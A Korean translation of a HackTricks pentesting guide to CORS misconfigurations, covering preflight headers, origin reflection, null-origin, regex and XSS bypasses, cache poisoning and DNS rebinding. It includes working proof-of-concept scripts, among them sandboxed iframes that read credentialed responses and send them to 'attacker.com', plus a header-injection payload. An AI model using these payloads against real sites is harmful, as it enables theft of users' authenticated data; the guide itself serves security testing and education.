Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cors-bypass.md

32 KiB
Raw Blame History

CORS - Misconfigurations & Bypass

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요!

다른 방법으로 HackTricks를 지원하는 방법:

CORS가 무엇인가요?

Cross-Origin Resource Sharing (CORS) 표준은 서버가 자산에 액세스할 수 있는 사용자와 외부 소스에서 허용된 HTTP 요청 방법을 정의할 수 있도록 합니다.

동일 출처 정책은 자원을 요청하는 서버와 자원을 호스팅하는 서버가 동일한 프로토콜 (예: http://), 도메인 이름 (예: internal-web.com), 및 포트 (예: 80)를 공유해야 한다는 원칙입니다. 이 정책에 따르면 동일한 도메인 및 포트의 웹 페이지만이 자원에 액세스할 수 있습니다.

http://normal-website.com/example/example.html의 경우 동일 출처 정책의 적용은 다음과 같이 나타납니다:

액세스된 URL 액세스 허용 여부
http://normal-website.com/example/ 예: 동일한 스키마, 도메인 및 포트
http://normal-website.com/example2/ 예: 동일한 스키마, 도메인 및 포트
https://normal-website.com/example/ 아니요: 다른 스키마 및 포트
http://en.normal-website.com/example/ 아니요: 다른 도메인
http://www.normal-website.com/example/ 아니요: 다른 도메인
http://normal-website.com:8080/example/ 아니요: 다른 포트*

*Internet Explorer는 동일 출처 정책에서 포트 번호를 무시하므로 이 액세스를 허용합니다.

Access-Control-Allow-Origin 헤더

이 헤더는 여러 출처, null 값 또는 와일드카드 *****를 허용할 수 있습니다. 그러나 브라우저는 여러 출처를 지원하지 않으며, 와일드카드 *의 사용은 제한을 받습니다. (와일드카드는 혼자 사용되어야 하며, Access-Control-Allow-Credentials: true와 함께 사용할 수 없습니다.)

이 헤더는 웹사이트에서 시작된 교차 도메인 자원 요청에 대한 응답으로 서버에 의해 발행되며, 브라우저는 자동으로 Origin 헤더를 추가합니다.

Access-Control-Allow-Credentials 헤더

기본적으로, 교차 출처 요청은 쿠키나 인증 헤더와 같은 자격 증명 없이 이루어집니다. 그러나 교차 도메인 서버는 Access-Control-Allow-Credentials 헤더를 **true**로 설정하여 자격 증명이 전송될 때 응답을 읽을 수 있도록 허용할 수 있습니다.

true로 설정하면 브라우저가 자격 증명 (쿠키, 인증 헤더 또는 TLS 클라이언트 인증서)를 전송합니다.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF 사전 요청

교차 도메인 통신에서 사전 요청 이해

특정 조건 하에서 교차 도메인 요청을 시작할 때, 표준이 아닌 HTTP 메소드(HEAD, GET, POST 이외의 것)를 사용하거나 새로운 헤더를 도입하거나 특별한 Content-Type 헤더 값을 사용하는 경우, 사전 요청이 필요할 수 있습니다. 이 사전 요청은 OPTIONS 메소드를 활용하여 서버에게 다가오는 교차 출처 요청의 의도를 알리며 사용할 HTTP 메소드와 헤더를 포함합니다.

교차 출처 자원 공유 (CORS) 프로토콜은 이 사전 확인을 강제하여 요청된 교차 출처 작업의 실행 가능성을 결정하며 허용된 메소드, 헤더, 그리고 출처의 신뢰성을 확인합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해를 위해서는 Mozilla Developer Network (MDN)에서 제공하는 포괄적인 가이드를 참조하십시오.

사전 요청의 부재는 응답이 인가 헤더를 포함해야 하는 요구 사항을 무효화하지 않음을 주의해야 합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청으로부터의 응답을 처리하는 능력이 제한됩니다.

다음은 PUT 메소드와 Special-Request-Header라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시를 고려해보십시오:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

다음은 서버가 허용된 메소드, 허용된 출천지, 그리고 다른 CORS 정책 세부사항을 나타내는 헤더를 반환할 수 있습니다. 아래와 같이 표시됩니다:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: 이 헤더는 실제 요청 중에 사용할 수 있는 헤더를 지정합니다. 서버에서 클라이언트로부터의 요청에서 허용된 헤더를 나타내기 위해 설정됩니다.
  • Access-Control-Expose-Headers: 이 헤더를 통해 서버는 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 클라이언트에게 알립니다.
  • Access-Control-Max-Age: 이 헤더는 사전 플라이트 요청의 결과를 캐시할 수 있는 시간을 나타냅니다. 서버는 사전 플라이트 요청에 의해 반환된 정보가 재사용될 수 있는 최대 시간(초)을 설정합니다.
  • Access-Control-Request-Headers: 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하려는 HTTP 헤더에 대해 서버에 알립니다.
  • Access-Control-Request-Method: 또한 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용할 HTTP 메서드를 나타내도록 설정됩니다.
  • Origin: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 들어오는 요청을 허용할지 거부할지 판단하기 위해 사용됩니다.

참고: 일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) GET/POST 요청에서는 사전 플라이트 요청이 전송되지 않습니다 (요청이 직접 전송됨), 그러나 응답의 헤더/본문에 액세스하려면 Access-Control-Allow-Origin 헤더를 포함해야 합니다.
따라서, CORS는 CSRF에 대해 보호하지 않지만 도움이 될 수 있습니다.

로컬 네트워크 요청 사전 플라이트 요청

  1. Access-Control-Request-Local-Network: 이 헤더는 클라이언트의 요청에 포함되어 있어서, 조회가 로컬 네트워크 리소스를 대상으로 한 것임을 나타냅니다. 서버에게 요청이 로컬 네트워크 내에서 발생했음을 알리는 표식으로 작용합니다.
  2. Access-Control-Allow-Local-Network: 응답에서, 서버는 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유할 수 있도록 허용된다는 것을 전달하기 위해 이 헤더를 활용합니다. 이는 서로 다른 네트워크 경계를 횡단하여 리소스를 공유할 수 있도록 하며, 보안 프로토콜을 유지하면서 제어된 액세스를 보장합니다.

로컬 네트워크 요청을 허용하는 유효한 응답은 응답에도 Access-Controls-Allow-Local_network: true 헤더를 포함해야 합니다:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} 리눅스 0.0.0.0 IP는 로컬호스트에 액세스하기 위한 요구 사항을 우회하는 데 사용됩니다. 이 IP 주소는 "로컬"로 간주되지 않기 때문입니다.

또한, 로컬 네트워크 요구 사항을 우회하는 것이 가능합니다. 이를 위해 로컬 엔드포인트의 공개 IP 주소(예: 라우터의 공개 IP)를 사용할 수 있습니다. 몇 가지 경우에는 로컬 네트워크에서 공개 IP에 액세스하더라도 액세스가 허용됩니다. {% endhint %}

취약점이 있는 잘못된 구성

Access-Control-Allow-Credentials를 **true**로 설정하는 것이 대부분의 실제 공격에 필요한 것으로 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 향상시킵니다. 이를 통해 브라우저에 요청을 보내는 것보다 사용자의 쿠키를 활용하는 것이 불가능해지므로, 브라우저에 요청을 보내는 이점이 줄어듭니다.

예외: 인증으로서의 네트워크 위치 악용

피해자의 네트워크 위치가 인증 수단으로 작용하는 예외가 존재합니다. 이를 통해 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 액세스할 수 있습니다. 이 방법은 DNS 리바인딩과 유사한 영향을 공유하지만 더 간단하게 악용할 수 있습니다.

Access-Control-Allow-Origin에서 Origin의 반사

Origin 헤더의 값이 Access-Control-Allow-Origin에 반영되는 실제 시나리오는 이 두 헤더를 결합하는 제한으로 인해 이론적으로 불가능합니다. 그러나 여러 URL에 대해 CORS를 활성화하려는 개발자는 Origin 헤더의 값을 복사하여 동적으로 Access-Control-Allow-Origin 헤더를 생성할 수 있습니다. 이 접근 방식은 취약점을 도입할 수 있으며, 특히 공격자가 합법적으로 보이도록 설계된 도메인을 사용하여 유효성 검사 논리를 속이는 경우에 취약점이 발생할 수 있습니다.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null Origin 악용

null 원점은 리디렉션 또는 로컬 HTML 파일과 같은 상황을 위해 지정된 원점으로, 독특한 위치를 가지고 있습니다. 일부 애플리케이션은 로컬 개발을 용이하게 하기 위해 이 원점을 화이트리스트에 추가하는데, 이로 인해 샌드박스된 iframe을 통해 웹사이트가 null 원점을 모방하여 CORS 제한을 우회할 수 있습니다.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

정규 표현식 우회 기법

도메인 화이트리스트를 만났을 때, 공격자의 도메인을 화이트리스트에 추가하거나 서브도메인 탈취 취약점을 악용하는 등의 우회 기회를 테스트하는 것이 중요합니다. 또한, 도메인 유효성 검사에 사용되는 정규 표현식은 도메인 명명 규칙의 세부 사항을 간과할 수 있어 추가적인 우회 기회를 제공할 수 있습니다.

고급 정규 표현식 우회

정규식 패턴은 일반적으로 알파벳, 점(.), 하이픈(-) 문자에 집중하며, 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규식 패턴에서 다르게 해석되는 문자를 포함한 도메인 이름은 보안 검사를 우회할 수 있습니다. Safari, Chrome 및 Firefox가 서브도메인의 밑줄 문자를 처리하는 방식은 이러한 차이가 도메인 유효성 검사 논리를 우회하는 데 어떻게 악용될 수 있는지 보여줍니다.

이 우회 검사에 대한 자세한 정보 및 설정: https://www.corben.io/advanced-cors-techniques/ 및 https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

서브도메인 내 XSS에서

개발자들은 종종 CORS 악용에 대비하기 위해 방어 메커니즘을 구현하여 정보 요청이 허용된 도메인을 화이트리스트에 등록합니다. 그러나 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않을 수 있습니다. 화이트리스트에 있는 도메인 중 취약한 서브도메인 하나만 존재해도 다른 취약점인 XSS(Cross-Site Scripting)를 통해 CORS 악용의 문을 열 수 있습니다.

예를 들어, 도메인 requester.com이 다른 도메인 provider.com에서 리소스에 액세스할 수 있도록 화이트리스트에 등록되어 있는 시나리오를 고려해보겠습니다. 서버 측 구성은 다음과 같을 수 있습니다:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

이 설정에서 requester.com의 모든 하위 도메인이 액세스를 허용합니다. 그러나 sub.requester.com과 같은 하위 도메인이 XSS 취약점으로 침투당하면 공격자가 이 취약점을 활용할 수 있습니다. 예를 들어, sub.requester.com에 액세스 권한이 있는 공격자는 XSS 취약점을 악용하여 CORS 정책을 우회하고 provider.com의 리소스에 악의적으로 액세스할 수 있습니다.

서버 측 캐시 독려

이 연구에서

HTTP 헤더 삽입을 통해 서버 측 캐시 독려를 악용함으로써 저장된 Cross-Site Scripting (XSS) 취약점을 유발할 수 있습니다. 이 시나리오는 응용 프로그램이 Origin 헤더를 부적절한 문자로 살균하지 않을 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 취약점을 만들 수 있습니다. 이러한 브라우저는 (0x0d)을 합법적인 HTTP 헤더 종결자로 취급하여 HTTP 헤더 삽입 취약점을 유발합니다.

다음과 같이 Origin 헤더가 조작된 요청을 고려해보십시오:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

인터넷 익스플로러와 엣지는 응답을 다음과 같이 해석합니다:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

직접적으로 취약점을 악용하여 웹 브라우저가 잘못된 헤더를 보내도록 하는 것은 실행 가능하지 않지만, Burp Suite와 같은 도구를 사용하여 수동으로 생성된 조작된 요청은 서버 측 캐시가 응답을 저장하고 다른 사람에게 무심코 제공할 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 상황에서 스크립트로 실행될 수 있는 방식으로 문자를 인코딩할 수 있는 능력으로 인해 XSS 취약점과 자주 관련이 있습니다.

저장된 XSS 취약점에 대한 자세한 내용은 PortSwigger를 참조하십시오.

참고: 특히 서버 측 캐시 오염을 통한 HTTP 헤더 삽입 취약점의 악용은 HTTP 헤더를 포함한 모든 사용자 제공 입력의 유효성을 검사하고 살균하는 것이 중요함을 강조합니다. 이러한 취약점을 방지하기 위해 항상 입력 유효성을 검사하는 견고한 보안 모델을 사용하십시오.

클라이언트 측 캐시 오염

이 연구에서

이 시나리오에서는 적절한 인코딩 없이 사용자 지정 HTTP 헤더의 내용을 반영하는 웹 페이지의 인스턴스가 관찰됩니다. 구체적으로, 웹 페이지는 X-User-id 헤더에 포함된 내용을 다시 반영하며, 이는 로드 시에 JavaScript 코드를 실행하도록 설계된 SVG 이미지 태그를 포함하는 예제로 악의적인 JavaScript를 포함할 수 있습니다.

Cross-Origin Resource Sharing (CORS) 정책은 사용자 지정 헤더를 보낼 수 있도록 합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 직접 렌더링되지 않는 경우, 이러한 삽입의 유틸리티는 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. Vary: Origin 헤더가 지정되지 않으면 악의적인 응답이 브라우저에 의해 캐시될 수 있습니다. 결과적으로 이 캐시된 응답은 초기 요청 시 직접 렌더링이 필요하지 않고 URL로 이동할 때 직접 렌더링될 수 있습니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 향상시킵니다.

이 공격을 설명하기 위해 JavaScript 예제가 제공되었으며, 이는 JSFiddle을 통해 웹 페이지 환경에서 실행되도록 설계되었습니다. 이 스크립트는 간단한 작업을 수행합니다: 악의적인 JavaScript를 포함하는 사용자 지정 헤더가 포함된 URL로 요청을 보냅니다. 성공적인 요청 완료 후, 대상 URL로 이동을 시도하며, 응답이 Vary: Origin 헤더를 올바르게 처리하지 않고 캐시된 경우 삽입된 스크립트의 실행을 유도할 수 있습니다.

다음은 이 공격을 실행하는 데 사용된 JavaScript의 요약된 분석입니다:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

우회

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, 또는 Cross-Site Script Inclusion으로도 알려진 이 취약점은 script 태그를 사용하여 리소스를 포함할 때 동일 출처 정책(SOP)이 적용되지 않는 사실을 악용하는 유형의 취약점입니다. 이는 스크립트가 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약점을 통해 공격자는 script 태그를 사용하여 포함된 모든 콘텐츠에 액세스하고 읽을 수 있습니다.

이 취약점은 특히 동적 JavaScript 또는 JSONP(JSON with Padding)와 관련이 있으며, 특히 쿠키와 같은 환경 권한 정보가 인증에 사용될 때 중요해집니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자에게 액세스 가능해집니다.

이 취약점을 더 잘 이해하고 완화하기 위해 https://github.com/kapytein/jsonp에서 사용할 수 있는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 XSSI 취약점을 식별하고 해결하는 데 도움이 될 수 있습니다.

다양한 유형의 XSSI 및 그것을 어떻게 악용하는지에 대해 더 읽어보세요.

요청에 callback 매개변수를 추가해 보세요. 페이지가 데이터를 JSONP로 보내도록 준비되어 있을 수 있습니다. 이 경우 페이지는 Content-Type: application/javascript로 데이터를 다시 보내 CORS 정책을 우회할 것입니다.

쉬운 (의미 없는?) 우회

Access-Control-Allow-Origin 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청하여 대신 요청하고 응답을 보내도록 하는 것입니다. 그러나 이 시나리오에서 최종 피해자의 자격 증명은 다른 도메인으로 요청이 이루어지기 때문에 전송되지 않습니다.

  1. CORS-escape: 이 도구는 요청과 해당 헤더를 전달하는 프록시를 제공하며, Origin 헤더를 요청된 도메인과 일치하도록 위조합니다. 이를 통해 CORS 정책을 우회할 수 있습니다. XMLHttpRequest와 함께 사용하는 예시는 다음과 같습니다:
  2. simple-cors-escape: 이 도구는 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행합니다.

Iframe + 팝업 우회

e.origin === window.origin과 같은 CORS 확인을 우회하기 위해 iframe을 생성하고 새 창을 열어 우회할 수 있습니다. 자세한 내용은 다음 페이지에서 확인할 수 있습니다:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL을 통한 DNS 리바인딩

TTL을 통한 DNS 리바인딩은 DNS 레코드를 조작하여 특정 보안 조치를 우회하는 기술입니다. 작동 방식은 다음과 같습니다:

  1. 공격자가 웹 페이지를 생성하고 피해자가 액세스하도록 합니다.
  2. 공격자는 자신의 도메인의 DNS(IP)를 피해자의 웹 페이지를 가리키도록 변경합니다.
  3. 피해자의 브라우저는 DNS 응답을 캐시하며, DNS 레코드가 유효한 기간을 나타내는 TTL(Time to Live) 값을 가질 수 있습니다.
  4. TTL이 만료되면 피해자의 브라우저는 새로운 DNS 요청을 수행하며, 이를 통해 공격자는 피해자의 페이지에서 JavaScript 코드를 실행할 수 있습니다.
  5. 피해자의 IP를 제어하면서 공격자는 피해자로부터 쿠키를 전송하지 않고도 피해자로부터 정보를 수집할 수 있습니다.

낮은 TTL 값으로도 즉시 이 기술을 악용하는 것을 방지할 수 있는 브라우저의 캐싱 메커니즘이 있다는 점을 유의해야 합니다.

DNS 리바인딩은 피해자가 수행하는 명시적 IP 확인을 우회하거나 사용자나 봇이 동일한 페이지에 오래 머무르는 시나리오에서 캐시가 만료되어 두 번째 요청을 강제하는 데 유용할 수 있습니다.

DNS 리바인딩을 빠르게 악용하려면 https://lock.cmpxchg8b.com/rebinder.html와 같은 서비스를 사용할 수 있습니다.

자체 DNS 리바인딩 서버를 실행하려면 DNSrebinder(https://github.com/mogwailabs/DNSrebinder)와 같은 도구를 활용할 수 있습니다. 이는 로컬 포트 53/udp를 노출시키고, 해당 포트를 가리키는 A 레코드를 생성하고, 이전에 생성된 A 하위 도메인을 가리키는 NS 레코드를 생성하는 과정을 포함합니다. ns.example.com 하위 도메인의 모든 하위 도메인은 이후에 호스트에 의해 해결됩니다.

더 많은 이해와 실험을 위해 http://rebind.it/singularity.html에서 공개적으로 운영되는 서버를 탐색할 수도 있습니다.

DNS 리바인딩을 통한 DNS 캐시 홍수

DNS 캐시 홍수를 통한 DNS 리바인딩은 브라우저의 캐싱 메커니즘을 우회하고 두 번째 DNS 요청을 강제하는 또 다른 기술입니다. 작동 방식은 다음과 같습니다:

  1. 초기에 피해자가 DNS 요청을 수행하면 공격자의 IP 주소로 응답됩니다.
  2. 캐싱 방어를 우회하기 위해 공격자는 서비스 워커를 활용합니다. 서비스 워커는 DNS 캐시를 홍수시켜 캐시된 공격자 서버 이름을 효과적으로 삭제합니다.
  3. 피해자의 브라우저가 두 번째 DNS 요청을 수행하면 이제 IP 주소 127.0.0.1로 응답됩니다. 일반적으로 이는 로컬호스트를 가리킵니다.

서비스 워커를 통해 DNS 캐시를 홍수시킴으로써, 공격자는 DNS 해결 프로세스를 조작하고 피해자의 브라우저가 두 번째 요청을 수행하도록 강제할 수 있으며, 이번에는 공격자가 원하는 IP 주소로 해결됩니다.

DNS 리바인딩을 통한 캐시

캐싱 방어를 우회하는 또 다른 방법은 DNS 제공업체에서 동일 서브도메인에 대해 여러 IP 주소를 활용하는 것입니다. 작동 방식은 다음과 같습니다:

  1. 공격자는 DNS 제공업체에서 동일 서브도메인에 대해 두 개의 A 레코드(또는 두 개의 IP를 가진 단일 A 레코드)를 설정합니다.
  2. 브라우저가 이러한 레코드를 확인하면 두 IP 주소를 받게 됩니다.
  3. 브라우저가 먼저 공격자의 IP 주소를 사용하기로 결정하면, 공격자는 동일 도메인으로 HTTP 요청을 수행하는 페이로드를 제공할 수 있습니다.
  4. 그러나 공격자가 피해자의 IP 주소를 획득하면, 피해자의 브라우저에 응답하지 않습니다.
  5. 도메인이 응답하지 않음을 인식한 피해자의 브라우저는 두 번째로 제공된 IP 주소를 사용하게 됩니다.
  6. 두 번째 IP 주소에 액세스함으로써 브라우저는 동일 출처 정책(SOP)을 우회하고 공격자가 이를 악용하여 정보를 수집하고 유출할 수 있습니다.

이 기술은 동일 도메인에 대해 여러 IP 주소가 제공될 때 브라우저의 동작을 활용합니다. 응답을 전략적으로 제어하고 브라우저가 선택한 IP 주소를 조작함으로써, 공격자는 SOP를 악용하고 피해자로부터 정보에 액세스할 수 있습니다.

{% hint style="warning" %} localhost에 액세스하려면 Windows에서는 127.0.0.1을, Linux에서는 0.0.0.0을 리바인딩해야 합니다.
godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP를 사용할 수 없게 했지만, AWS route53는 "0.0.0.0"을 포함한 2개의 IP를 가진 A 레코드를 생성할 수 있었습니다.

{% endhint %}

더 많은 정보는 https://unit42.paloaltonetworks.com/dns-rebinding/에서 확인할 수 있습니다.

기타 일반적인 우회 방법

  • 내부 IP가 허용되지 않는 경우, 0.0.0.0을 금지하는 것을 잊을 수 있음 (Linux 및 Mac에서 작동)
  • 내부 IP가 허용되지 않는 경우, 로컬호스트에 대한 CNAME으로 응답 (Linux 및 Mac에서 작동)
  • 내부 IP가 DNS 응답으로 허용되지 않는 경우, www.corporate.internal과 같은 내부 서비스에 대한 CNAME으로 응답할 수 있음.

DNS 리바인딩 무기화

이전 우회 기술에 대한 자세한 정보 및 다음 도구 사용 방법은 Gerald Doussot - DNS 리바인딩 공격 상태 및 원점의 특이성 - DEF CON 27 컨퍼런스에서 확인할 수 있습니다.

원점의 특이성은 DNS 리바인딩 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 기기의 IP 주소로 다시 바인딩하고 대상 기기의 취약한 소프트웨어를 공격하는 페이로드를 제공하기 위한 필수 구성 요소가 포함되어 있습니다.

DNS 리바인딩에 대한 실제 보호

  • 내부 서비스에서 TLS 사용
  • 데이터에 액세스하기 위해 인증 요청
  • Host 헤더 유효성 검사
  • https://wicg.github.io/private-network-access/: 공용 서버가 내부 서버에 액세스하려는 경우 항상 사전 플라이트 요청을 보내도록 제안

도구

CORS 정책에서 잘못된 구성을 퍼징

참고 자료

htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team 전문가)!

HackTricks를 지원하는 다른 방법: